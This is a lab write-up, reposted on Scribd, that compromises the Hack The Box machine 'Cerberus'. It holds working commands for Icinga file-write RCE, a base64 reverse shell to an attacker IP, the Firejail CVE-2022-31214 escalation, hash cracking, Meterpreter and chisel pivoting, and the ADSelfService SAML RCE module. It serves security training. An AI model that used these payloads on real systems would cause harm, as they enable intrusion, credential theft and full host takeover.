0% found this document useful (0 votes)
188 views26 pages

Cerberus

This document provides a summary of steps to compromise the Cerberus machine from initial enumeration to privilege escalation on the host system. An outdated Icinga web application is exploited to gain initial access inside a Linux container. A Firejail SUID binary inside the container is then abused using CVE-2022-31214 for privilege escalation. Kerberos authentication with cached credentials is cracked to reuse credentials on the host, requiring port forwarding for WinRM access. Various local ports linked to a CVE in ADSelfService Plus are found active. Careful filesystem enumeration locates a ManageEngine backup that enables exploiting ADSS SAML authentication for final privilege escalation.

Uploaded by

创杰蔡
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
188 views26 pages

Cerberus

This document provides a summary of steps to compromise the Cerberus machine from initial enumeration to privilege escalation on the host system. An outdated Icinga web application is exploited to gain initial access inside a Linux container. A Firejail SUID binary inside the container is then abused using CVE-2022-31214 for privilege escalation. Kerberos authentication with cached credentials is cracked to reuse credentials on the host, requiring port forwarding for WinRM access. Various local ports linked to a CVE in ADSelfService Plus are found active. Careful filesystem enumeration locates a ManageEngine backup that enables exploiting ADSS SAML authentication for final privilege escalation.

Uploaded by

创杰蔡
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 26

Cerberus

9th March 2023 / Document No D23.100.229

Prepared By: ctrlzero

Machine Author: TheCyberGeek

Difficulty: Hard

Classification: Official

Synopsis
Cerberus is a Hard Difficulty Windows machine that initially presents a scant range of open services. The
primary point of entry is through exploiting a pre-authentication vulnerability in an outdated Icinga web
application, which then leads to Remote Code Execution (RCE) and subsequently a reverse shell within a
Linux container. Here, a Firejail SUID binary is discovered, which can be manipulated for privilege
escalation inside the container using CVE-2022-31214 . Further investigation reveals that the machine
utilizes Kerberos authentication with sssd , harboring a cached credential hash. Once cracked, this
credential can is reused on the host machine, although this necessitates the forwarding of the WinRM port
for access. Various local ports, some specific to ADSelfService Plus , are found active on the host
machine, authenticated through SAML , and linked to a known CVE ( CVE-2022-47966 ) with an available
Metasploit module. The final hurdle involves careful enumeration of the filesystem to locate a
ManageEngine backup, which provides the necessary data for exploiting ADSS SAML authentication.

Skills Required
Windows and Linux knowledge

Network pivoting
Active Directory/Kerberos knowledge

Enumeration

Skills Learned
Skills Learned
Sandbox breakout concepts

Active Directory joined Linux instance enumeration

ADFS abuse via SAML attacks

Enumeration
Nmap
ports=$(nmap -p- -Pn --min-rate=1000 -T4 10.10.11.205 | grep '^[0-9]' | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.205

We can see that only port 8080 is open which limits our attack surface so we can focus on this.

HTTP
Browsing to port 8080 right away, we are redirected to
http://icinga.cerberus.local:8080/icingaweb2 . Let's add this vHost to /etc/hosts .

echo "10.10.11.205 icinga.cerberus.local" | sudo tee -a /etc/hosts

After refreshing the page we're presented with a login to Icinga .


We can start by trying the typical tests for SQL injection and web directory fuzzing, but this doesn't yield any
additional information that would be beneficial. Doing a Google search for icinga web exploit we
immediately see an article from SonarSource that mentions a couple of vulnerabilities.

The first vulnerability, Local File Inclusion ( LFI ), is demonstrated in the article and can be easily
reproduced, but to make this easier let's write a quick Python script to give us a pseudo shell.

#!/usr/bin/python3
import requests
import os

while True:
file = input("file: ")
url = f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty{file}"
r = requests.get(url)
print(r.text)
This output also reveals the hostname of the target machine. So at this point, we need to find information
about the running web application that may lead us to a foothold. Doing a Google search for icinga web
install configuration will point us to the Icinga documentation, which is a good start.

The Overview section points out some interesting configuration files.

Using the LFI to view the contents of a couple of these files reveals the database credentials for matthew .
Using the discovered matthew:IcingaWebPassword2023 credentials on the login page of Icinga , we are
able to get logged in.

We can also take note that we are part of the Administrators group within Icinga which is very
interesting and means we have elevated permissions to potentially abuse a weakness in the application.

At this point, we can reference the SonarSource article again to try and chain an additional vulnerability for
a foothold.

Foothold
According to the disclosure, there is a lack of sanitization on the user field when creating an SSH Resource
module. By prepending a path with ../ inside the User field, we're able to write outside of the intended
directory which we can also verify with the LFI . So let's test this real quick by accessing the following
endpoint.

http://icinga.cerberus.local:8080/icingaweb2/config/resource#!/icingaweb2/config/create
resource

Site navigation is: Configuration / Application / Resource / Create a New Resource and select SSH
Identity as the Resource Type .

Icinga expects a valid private key in order to create a resource, however, the error message produced is
The given SSH key is invalid when invalid data is passed.

Typically, it would be assumed that using ssh-keygen to get a key would work, but in this case, Icinga
expects an RSA private key generated with OpenSSL . So let's create a key and submit it to Icinga and
then use the LFI to verify it.

openssl genrsa -out private-key.pem 1024


We can see that we are indeed successful in getting arbitrary file writes on the target. At this point we can
follow the rest of the SonarSource article to take advantage of the NULL byte bug, however, this will fail
as the OpenSSL library on the target seems to have been patched. So let's look a bit more into what the
NULL byte bug actually is.
A Google search of OpenSSL null byte bug leads us to this bug tracker, which states the following:

It looks like this is assuming a valid cert can not be a valid PHP file, but I am not
sure why exactly not? The standard
[https://datatracker.ietf.org/doc/html/rfc7468#section-5.2]
(https://datatracker.ietf.org/doc/html/rfc7468#section-5.2) allows arbitrary text
before BEGIN and after END lines, and you can easily insert PHP code there. Assuming
that if the text is a valid certificate for OpenSSL then it's safe for all other
purposes is just not secure.

So let's test this by prepending a PHP payload before the start of the RSA key and submitting it to the same
endpoint as before, saving the file at /dev/shm/test.txt .

Reading the written file using the LFI confirms that it worked successfully. The next step is figuring out
how we can leverage this to get code execution on the target. Since we are an administrator on Icinga we
can build a custom Icinga module and write it to the filesystem using our path traversal and then change
the module path to point to the directory we write to. So let's figure out how to make an Icinga module.

The configuration.php file is one file that is part of a given module and should immediately stand out.
Looking further down in this tutorial it mentions that configuration.php is where the global configuration
of the module is located, which means this code should get loaded first.

We can reuse our test directory again and set the module path to the directory with our prepending LFI
/dev/shm .
# Generate a reverse shell payload
echo "sh -i >& /dev/tcp/10.10.14.60/10001 0>&1" | base64 -w 0

# Replace the below base64 string with the generated output in the previous command.
# Place the final output in the Private Key section of the Icinga resource.
<?php
{
system("echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjAvMTAwMDEgMD4mMQo=|base64 -
d|bash");
}
?>

-----BEGIN RSA PRIVATE KEY-----


MIICXgIBAAKBgQDBS2ETNwZSOfkUeKF0o8GTuM5KxwCvp68oMmfBKguaLEEtrGlP
wlFSHc75ZjaACI0v8gyV7L0T8q3o+DpVJ+AQPAnd5svufj7EY8hcqo6G6j5kUNzL
jzfmk1EkIoTnH+jNVmTsKV5JaZuyiD6ixMOFvMpA5qlphW+X8E1J4eSYqQIDAQAB
AoGBAJj4Z63GORlvycA6q0PcqMCYW6HwFYntwX+lTFkhRidP6JEVxg4Z8TN0Za0Y
B/+RRPLxsqYfwY782kbp03g642V1BfLJ/x8FdxXg/SHdDsvFm65rrx6SoCNZkosh
N/nxn3+0/13oFd/kMtCli6/jm6wtxyf8wbYE35szISBrgg21AkEA6290/45Uv/NZ
SuXZ75g5NQaS6QwUX7VUE0we4YTDQIGTIYVta0ST881umyxWAD6u5kPKbrlhkvSj
uOkcl3c05wJBANItnSFWJYtsvmjlQrxNKowrPwKXoXbH4xmEOEwQ+IDCoOpAedgM
qxbqJ2UTf0UuFQSjvl68h/OjG2nhAgE4g+8CQQDa/jG2BI6QfarxIBw34UBVMmg0
nifVXrV1vbh7zSJRPjW9WH8O6Bs3DD911yen0qadSTFjDMzWBPjFZxBRU3DBAkEA
0SiJfTpgpI50MqksL33PgKwsyWSiTzV+X88/wxsEYgbN4jCF0KZSwLwGtkSf2/WO
/w4AjgCqfp/r0QMVXqeiSwJAc36X3OqbGpfrzEOY5EBEiGQvj9dTOqQhhV+qvZPj
fD9m3P9MDdPTPxMRV5FaavlpPA1sMXH3Sur6vQf/omKQRg==
-----END RSA PRIVATE KEY-----

We make sure to set the User field to point to ../../../../../dev/shm/training/configuration.php ,


where training is the name of our custom module.

Create a New Resource


# Start our listener
nc -lvnp 10001

Next we'll need to enable our module so that it executes automatically, but we need to change the
configuration of Icinga first. Navigate to: Configuration / Application / General and change the
Module Path to /dev/shm and click Save Changes .

Set a new Module Path

Next we'll need to enable the module that was created. In this case it was training , which we can find
under Configuration / Modules .

Note: Depending on how well your module was crafted, enabling the module may not be necessary
and all that would be required is accessing its entry from the Modules page. If you've followed this
writeup verbatim then enabling the module should not be required.
Enable the Module

Accessing our Module gives a connection right away!


To upgrade to a better shell we can execute:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Lateral Movement
First things first, let's enumerate for SUID binaries. Right away, /user/bin/firejail stands out as this is
not normally a binary that would be installed from a default installation.

find / -perm -u=s -type f 2>/dev/null

We check the tool's version to look for potential exploits that might be applicable.
firejail --version

So let's do a quick Google search firejail exploit 0.9.68rc1 to see what we can find. We find a
writeup of the vulnerability as well as a Proof of Concept (PoC).

An unprivileged user in the system can fake a legit Firejail process by


providing a symlink at /run/firejail/mnt/join that points to a file that
fulfils the requirements listed in the previous section. By creating a
custom user and mount namespace the attacker can create an environment
of its own where mounting tmpfs file systems in arbitrary locations is
possible.

It's important to do code review before running any off-the-shelf exploit and after looking through this code
we can see that we will need two terminal sessions. One to run the exploit and another to leverage the new
firejail PID.

We save the PoC as firejoin.py and upload it to the machine. We then run it on our first shell:

chmod +x firejoin.py
./firejoin.py
On the other shell we now run the command from the output:

firejail --join=1724

And we are root !

Container Breakout
Once again we do basic enumeration first. We can start by looking at running processes and right away we
see that this machine is domain joined via sssd so let's enumerate that to see if we can find any interesting
information.

ps aux | grep root

If we look at techniques for Active Directory joined Linux instances we'll find some good information, but its
not particularly useful as the required .secrets.mkey file does not exist. What is useful is the directory
that it points out, namely /var/lib/sss .
Within this directory, it can be noted that /var/lib/sss/db contains some cache files. Looking up what
these could be indicates that it is a database for the domain cache and has information about user
credentials.

Let's look at this file with strings and remove the repeated data to see what we can find.

strings cache_cerberus.local.ldb | sort -u | head

Right away we find a hash and going through this file even more indicates that the user will be matthew .

Lets try and crack this...

hashcat -a 0 -m 1800 hash /usr/share/wordlists/rockyou.txt

$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ
3.GQ.4N6bb9pxE3t3T0:147258369

Hashcat is able to crack the password, which is 147258369 .

Before we can leverage these credentials we need to set up routing and a SOCKS proxy as WinRM is closed
on 10.10.11.205 , but since we are currently in a Linux instance with an IP of 172.16.22.2 and a gateway
of 172.16.22.1 , we can try and access WinRM through that.

We can load msfconsole to get this stood up. We'll also go ahead and start a SOCKS proxy service and
configure Proxychains so we can use our tools to interact with the target.

We first generate a payload using msfvenom and then host it with a web server.

# Local bash shell


msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.14.46 lport=10002 -f elf -o
shell
python3 -m http.server 8000
Then, we set up a listener with Metasploit and download it to the target, set it as executable and then run
the payload as a background process to continue using our current terminal session.

msfconsole
# Inside metasploit
use exploit/multi/handler
set lhost tun0
set lport 10002
set payload linux/x64/meterpreter/reverse_tcp
run -j
use auxiliary/server/socks_proxy
set srvport 9999
run -j

We also update our Proxychains configuration at /etc/proxychains4.conf to route us through the


above proxy.

# ... At the very bottom of the file, we set the ProxyList to only point to port 9999.
[ProxyList]
socks5 127.0.0.1 9999

On the target machine we download the msfvenom payload and execute it.

wget http://10.10.14.46:8000/shell
chmod +x shell
./shell &

We receive a callback on our Metasploit shell:


Once the the session has been established we can then set up routing through our Meterpreter session so
that we can communicate with the target IP address that is currently only accessible via the Docker
container.

use post/multi/manage/autoroute
set cmd add
set session 1
set subnet 172.16.22.1
set netmask 255.255.255.255
run

Finally, we can use evil-winrm through proxychains to get access to the target.

proxychains evil-winrm -i 172.16.22.1 -u matthew -p 147258369


The user flag can be found in C:\users\matthew\desktop .

Privilege Escalation
If we take a look at the listening ports on this target we can notice a few that indicate something else is
running on this machine that could be of value.

netstat -ano | select-string LIST

Enumerating the process ID linked to these listening ports shows that it is being run by java .

get-process -pid 5672


get-process -pid 2072
A quick Google search of what :9251 could be we find that its related to ADSelfService Plus which is an
Active Directory management utility created by ManageEngine .

Let's set up a new SOCKS proxy and modify our /etc/hosts file to point dc.cerberus.local to
127.0.0.1 so we can access it. We can use chisel for this.

First we set up a chisel in server mode on our attacking box. We'll indicate that we want it to listen on
port 6666 and also specify the --socks5 flag to ensure we're enabling a SOCKS proxy. We'll also specify
the --reverse flag so that that we're reverse forwarding all traffic.

./chisel server --socks5 -p 6666 --reverse


Then we upload chisel.exe to the target and run it in client mode. We'll connect to our server over
port 6666 and use the command R:8888socks . This will open up port 8888 on our chisel server, reverse
forward the traffic and indicate that we'll be using this port as our SOCKS proxy.

iwr('http://10.10.14.7:8000/chisel.exe') -outfile chisel.exe


start-process -filepath .\chisel.exe -args "client 10.10.14.7:6666 R:8888:socks"

We can then change our Proxychains configuration to set up the new proxy endpoint.

[ProxyList]
socks5 127.0.0.1 8888

Configuring our web browser to use the new SOCKS proxy at SOCKS5 127.0.0.1:8888 we can browse to
https://dc.cerberus.local:9251 .

We can take note it is doing a lot of redirects and ends with the below URL that indicates some type of
Security Assertion Markup Language ( SAML ) authentication is taking place with ADFS .

https://dc.cerberus.local/adfs/ls/?
SAMLRequest=pVNdj9owEHzvr4j8ThLni2ARThR6KhLXRpDrQ18q42w4S45NbYfj%2Fv05fFxp1VKplSJZsmd3Z
2cm47tDK7w9aMOVLBD2Q%2BSBZKrmclugx%2Bp%2BkKO7ybuxoa2IdmTa2Se5gu8dGOtNjQFtXd1MSdO1oNeg95
zB42pZoCdrd4YEwXxGRlGKg77BUm25DLIhzWsc4mwUJmFUs4xmwyTZ5A3L6ZBRTFmT55uoQd7cTeGS2iO1S8Oa%
2BQz0BnRnfKEYFQGtGxMIEyBvMS%2FQt5SOKDR1FtOcpXkS18MN4AzjLM5iDBgczJgOFtJYKm2BojCKB6H7RhVO
SBKROPHTNP2KvFIrq5gS77k86dFpSRQ13BBJWzDEMrKePixJ5IdkcwIZ8rGqykH5eV0dG%2Bx5DfqTQxfogUq6h
Q%2FSiQDedL4G0ZwV80rRGeR9udgQ9TY4Y6QhJ%2BFvj96deaLJySdyXFB790q31N6u7W94PWiOUALScvvy0%2B
zb5fSSATT5f8fHwTX9ySV0vXqLeakEZy%2FeVAj1PNNArVPU6s7Z%2Bbc1sY9%2FWbOTZgeMNxxqFLzNOeca6mP
KXagtHKw3U%2B2Oam56X%2BBAmX1T%2BRo2E06JFTT%2FpNxNGCOs7%2B2uS3c8K133sQTmeFaaukWUthfhfsdo
cn78w34%2Fnq%2F%2F7ckr&RelayState=aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRI

We can use this with an online tool such as samltool to decode the SAMLRequest parameter. This shows
some information about the SAML assertion as well as the GUID of the assertion.
pVNdj9MwEHznV1h+bz5MLk2tJqfScqJSD6I2xwMvyHE2PUuOXWynd/fvcfpxFARFAilKJHt2d3ZmMr197iTag7F
CqxzHQYQRKK4bobY5fqjuRhm+Ld5MLesk2dFZ7x7VGr71YB2aWQvG+bq5VrbvwGzA7AWHh/Uqx4/O7SwNw8WcTs
hNHA4NVnorVJiOWdbEUZxOoiQiDU9ZOk6SOmt5xsacxYy3WVaTFqOFnyIUcwdq54YNDziYGkxvA6k5kyFrWhtKG
2K0XOT4K/Dspm14ndUJSzOScR5l2SQZx8S/Gk48zNoelso6plyOSUTejiL/TKo4ocmEEhKk4+gLRqXRTnMt3wl1
1KM3impmhaWKdWCp43Qzu19REkS0PoIs/VBV5aj8tKkODfaiAfPRo3N8zxTbwnvlRQA0W2xAtifFUCl7i9Hnsw1
ksMEboyw9Cn999O7EExdHn+hhQYPutOmYu147nIhm1B6gFJQT7uWn2dfL2TkDuPh/x6fhJf3iHLpBveWi1FLwFz
STUj/NDTDnFXWmB/zXNeMg/mXNXtkdcNEKaHD4OueUa2gOKfehdvDs0Fx3O2aEHXyBZ8bdq8qXsLn0Sqyh/Sflr
sI45UNvf1z6z5M2zRBL4J5nZZhfRBt3Fu53jIrT5R/2+3F9+W8X3wE=

GUID: 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f

If we Google adselfservice plus saml exploit we are lead to a Rapid7 writeup that includes a
Metasploit module.

Let's download this module and save it to /usr/share/metasploit-


framework/modules/exploits/windows/http/ . Once reload is executed inside msfconsole the module
should be available.
Note: Depending on how you saved it, you can use the search command to find the module. It will
most likely be available like so:

use exploit/windows/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966

Using this module and looking at the required settings we can see GUID and ISSUER_URL are required.

show options

We already have the GUID , but we're missing the ISSUER_URL so we need to enumerate a bit more.

Choose your path


There are two ways to go about getting the ISSUER_URL . A Google search of adfs issuer url will show
what it could look like:
This is accurate, however, in this case the scheme will be http:// .

We can also look in C:\program files (x86)\manageengine\ADSelfService Plus\backup and find there
is an offline backup left on the system.

cd "C:\program files (x86)\manageengine\ADSelfService Plus\backup"


dir

We download the file using evil-winrm 's download feature and then attempt to decompress it using
7zip , however, this fails as it is password protected.

download OfflineBackup_20230214064809.ezip

mkdir Backup && cd Backup


7z x OfflineBackup_20230214064809.ezip
A quick Google search on this using the keywords adselfservice backup zip default password reveals
that the default password is the reverse string of the filename:
We reverse the string using a Python one-liner.

python -c 'print("OfflineBackup_20230214064809"[::-1])'
# Returns
90846041203202_pukcaBenilffO

The password is successful and 979 files are extracted from the archive.
We use grep to look for the issuer_url .

grep -i issuer_url *

Now that we have all the relevant information for the Metasploit module let's set it up and try it.

use windows/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set payload payload/cmd/windows/powershell_reverse_tcp
set guid 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set issuer_url http://dc.cerberus.local/adfs/services/trust
set proxies socks5:127.0.0.1:8888
set rhosts 127.0.0.1
set lhost tun0
run
A shell as NT Authority\SYSTEM is spawned. The root flag can be found in
C:\users\administrator\desktop .

You might also like